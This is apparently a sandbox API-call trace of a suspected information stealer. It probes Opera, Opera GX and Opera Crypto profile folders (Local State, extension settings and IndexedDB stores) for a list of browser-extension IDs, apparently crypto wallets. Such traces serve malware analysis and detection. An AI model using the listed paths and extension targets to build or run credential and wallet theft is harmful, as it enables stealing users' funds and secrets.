[0052.717] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\gjagmgiddbbciopjhllkdnddhcglnemk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\gjagmgiddbbciopjhllkdnddhcglnemk\\current")) returned 0xffffffff
[0052.717] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.717] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.717] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kmhcihpebfmpgmihbkipmjlmmioameka\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\kmhcihpebfmpgmihbkipmjlmmioameka\\current")) returned 0xffffffff
[0052.717] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.717] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.717] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bgpipimickeadkjlklgciifhnalhdjhe\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\bgpipimickeadkjlklgciifhnalhdjhe\\current")) returned 0xffffffff
[0052.717] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.717] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.717] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\phkbamefinggmakgklpkljjmgibohnba\\current")) returned 0xffffffff
[0052.717] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.717] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.718] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\ejjladinnckdgjemekebdpeokbikhfci\\current")) returned 0xffffffff
[0052.718] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.718] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.718] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\efbglgofoippbgcjepnhiblaibcnclgk\\current")) returned 0xffffffff
[0052.718] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.718] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.718] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj\\current")) returned 0xffffffff
[0052.718] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.718] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.718] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aijcbedoijmgnlmjeegjaglmepbmpkpi\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\aijcbedoijmgnlmjeegjaglmepbmpkpi\\current")) returned 0xffffffff
[0052.718] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.718] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.718] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fiedbfgcleddlbcmgdigjgdfcggjcion\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\fiedbfgcleddlbcmgdigjgdfcggjcion\\current")) returned 0xffffffff
[0052.718] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.718] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.718] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nngceckbapebfimnlniiiahkandclblb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\nngceckbapebfimnlniiiahkandclblb\\current")) returned 0xffffffff
[0052.718] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.718] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.718] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fmhmiaejopepamlcjkncpgpdjichnecm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\fmhmiaejopepamlcjkncpgpdjichnecm\\current")) returned 0xffffffff
[0052.718] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.719] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.719] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\oboonakemofpalcgghocfoadofidjkkk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\oboonakemofpalcgghocfoadofidjkkk\\current")) returned 0xffffffff
[0052.719] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.719] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.719] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nngceckbapebfimnlniiiahkandclblb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\nngceckbapebfimnlniiiahkandclblb\\current")) returned 0xffffffff
[0052.719] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1817e4 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.719] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.719] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\"
[0052.719] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\", lpString2="\\Opera GX Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\"
[0052.719] StrCmpCA (pszStr1="\\Opera GX Stable\\", pszStr2="\\Opera Stable\\") returned -12
[0052.719] StrCmpCA (pszStr1="\\Opera GX Stable\\", pszStr2="\\Opera GX Stable\\") returned 0
[0052.719] StrCmpCA (pszStr1="\\Opera GX Stable\\", pszStr2="Opera Crypto Stable") returned 13
[0052.719] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1817fc | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.719] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.719] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\"
[0052.719] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\"
[0052.719] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\"
[0052.719] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\Local State"
[0052.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x67d910
[0052.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=83, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83
[0052.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x67d978
[0052.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=83, lpWideCharStr=0x67d978, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\Local State") returned 83
[0052.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x67da28
[0052.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0052.720] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local state")) returned 0xffffffff
[0052.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da28 | out: hHeap=0x670000) returned 1
[0052.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.720] wsprintfA (in: param_1=0x1817b8, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\*") returned 72
[0052.720] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\*"), lpFindFileData=0x181678 | out: lpFindFileData=0x181678*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="À")) returned 0xffffffff
[0052.722] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.722] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.722] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec") returned 127
[0052.722] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\CURRENT") returned 135
[0052.722] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec") returned 126
[0052.722] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\CURRENT") returned 134
[0052.722] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ibnejdfjmmkpcnlpebklmnkoeoihofec_0.indexeddb.leveldb") returned 149
[0052.722] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ibnejdfjmmkpcnlpebklmnkoeoihofec_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.722] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\current")) returned 0xffffffff
[0052.722] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.722] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.722] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn") returned 127
[0052.722] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\CURRENT") returned 135
[0052.722] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn") returned 126
[0052.722] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\CURRENT") returned 134
[0052.723] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_nkbihfbeogaeaoehlefnkodbefgpgknn_0.indexeddb.leveldb") returned 149
[0052.723] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_nkbihfbeogaeaoehlefnkodbefgpgknn_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.723] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\current")) returned 0xffffffff
[0052.723] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.723] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.723] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp") returned 127
[0052.723] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp\\CURRENT") returned 135
[0052.723] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp") returned 126
[0052.723] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp\\CURRENT") returned 134
[0052.723] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fhbohimaelbohpjbbldcngcnapndodjp_0.indexeddb.leveldb") returned 149
[0052.723] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_fhbohimaelbohpjbbldcngcnapndodjp_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.723] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\fhbohimaelbohpjbbldcngcnapndodjp\\current")) returned 0xffffffff
[0052.723] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.723] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.723] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb") returned 127
[0052.723] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\CURRENT") returned 135
[0052.723] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb") returned 126
[0052.723] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\CURRENT") returned 134
[0052.723] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ffnbelfdoeiohenkjibnmadjiehjhajb_0.indexeddb.leveldb") returned 149
[0052.723] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ffnbelfdoeiohenkjibnmadjiehjhajb_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.723] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\current")) returned 0xffffffff
[0052.723] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.723] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.723] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid") returned 127
[0052.723] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\CURRENT") returned 135
[0052.723] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid") returned 126
[0052.723] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\CURRENT") returned 134
[0052.723] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_jbdaocneiiinmjbjlgalhcelgbejmnid_0.indexeddb.leveldb") returned 149
[0052.723] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_jbdaocneiiinmjbjlgalhcelgbejmnid_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.724] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\current")) returned 0xffffffff
[0052.724] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.724] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.724] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad") returned 127
[0052.724] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\CURRENT") returned 135
[0052.724] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad") returned 126
[0052.724] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\CURRENT") returned 134
[0052.724] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb") returned 149
